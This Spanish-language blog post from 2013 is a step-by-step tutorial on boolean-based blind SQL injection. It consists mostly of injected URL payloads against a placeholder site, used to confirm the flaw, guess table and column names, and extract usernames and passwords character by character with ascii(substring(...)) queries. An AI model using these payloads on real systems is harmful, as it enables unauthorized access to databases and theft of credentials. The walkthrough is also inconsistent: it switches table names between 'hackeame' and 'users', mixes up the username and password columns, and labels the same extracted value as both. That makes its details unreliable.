468x60 Ads


jueves, 31 de octubre de 2013

SQL Injection Mediante Lógica Booleana


SQL Injection Mediante Lógica Booleana

Como explotar una inyección sql mediante lógica booleana, una función booleana es una función cuyo dominio son las palabras conformadas por los valores binarios 0 ó 1 (“falso” o “verdadero“, respectivamente), y cuyo codominio son ambos valores 0 y 1.

Lo que haremos sera que mediante instrucciones de SQL le preguntaremos al servidor, y el deberá respondernos cierto o falso.

Ahora realizaermos una serie de instrucciones para lograr extraer la información de la base de datos (usuario, passwords, emails etc.)

0×1 – Comprobando si el servidor esvulnerable

http://www.paginaweb.com/hackeame/sql.php?id=1 AND 1=1

En este ejemplo mostramos valor true, si la aplicación es vulnerable nos debería imprimir el resultado que esta asignado (id de usuario, nombre de usuario y post).

http://www.paginaweb.com/hackeame/sql.php?id=1 and 1=0

Como el valor es falso nos mostrara “no hay columnas”

0×2 - Sacando información

vamos a buscar la tabla donde están los usuarios.

Probemos “admin” como nombre de la tabla haber si existe.

http://www.paginaweb.com/hackeame/sql.php?id=1 AND (SELECT Count(*) FROM admin)

Al no existir la tabla “admin” nos dará un valor falso ”no hay columnas”

http://www.paginaweb.com/hackeame/sql.php?id=1 AND (SELECT Count(*) FROM hackeame)

Al existir la tabla “hackeame”, nos da un valor verdadero y se muestra en la página lo asignado.

0×3 - Sacando número de registros de la tabla “hackeame”

http://www.paginaweb.com/hackeame/sql.php?id=1 AND (SELECT Count(*) FROM hackeame) > 4

Le preguntamos si el registro es mayor que 4 Como la tabla tiene 3 registros nos dará un valor false, o sea no mostrará nada (3 < 4)

http://www.paginaweb.com/hackeame/sql.php?id=1 AND (SELECT Count(*) FROM users) = 3

En este caso nos dará un valor true, ya que la tabla tiene 3 registros.

0×4 Buscando los nombres de las columnas

http://www.paginaweb.com/hackeame/sql.php?id=1 AND (SELECT Count(usuarios) FROM hackeame)

Como no existe la columna “usuarios”, efectivamente nos da un valor false.

http://www.paginaweb.com/sql.php?id=1 AND (SELECT Count(username) FROM hackeame)

Al existir la columna password, nos da un valor true y nos muestra en contenido asignado.

Bien ya tenemos el nombre de una columna, solo tendríamos que ir probando y buscando otras.

0×5 Leyendo datos de la columna

http://www.paginaweb.com/sql.php?id=1 AND (SELECT length (username) FROM hackeame where id=1) > 9 

Al tener el usuario 5 caracteres, nos devolverá un valor FALSE.

http://www.paginaweb.com/hackeame/sql.php?id=1 AND (SELECT length (username) FROM hackeame where id=1) = 5

Como el usuario tiene 5 caracteres (admin), nos devolverá un valor TRUE.

*La función LENGTH devuelve la longitud de la cadena str, medida en bytes.

*La función SUBSTRING se usa para extraer una subcadena de otra cadena, especificando la posición del primer carácter y el número de caracteres que se desean extraer.

0×6: Leyendo registros de la tabla

http://www.paginaweb.com/hackeame/sql.php?id=1 AND ascii(substring((SELECT username FROM hackeame where id=1),1,1))=49 

ASCII 49 = 1

Como la contraseña del usuario empieza por 1, nos devolverá un valor true.

Ya tenemos el primer carácter de la contraseña.

http://www.paginaweb.com/hackeame/sql.php?id=1 AND ascii(substring((SELECT username FROM hackeame where id=1),2,1)) = 50 

ASCII 50 = 2

TRUE, ya tenemos el segundo carácter del usuario y así seria todo el rato hasta dar con la contraseña completa.


StuxnetPosted By César Calderón

Amante de todo lo relacionado con la informática, GNU/Linux, Programador, Geek. Las organizaciones gastan millones de dólares en firewalls y dispositivos de seguridad, pero tiran el dinero porque ninguna de estas medidas cubre el eslabón más débil de la cadena de seguridad: la gente que usa y administra los ordenadores.

0 comentarios:

Publicar un comentario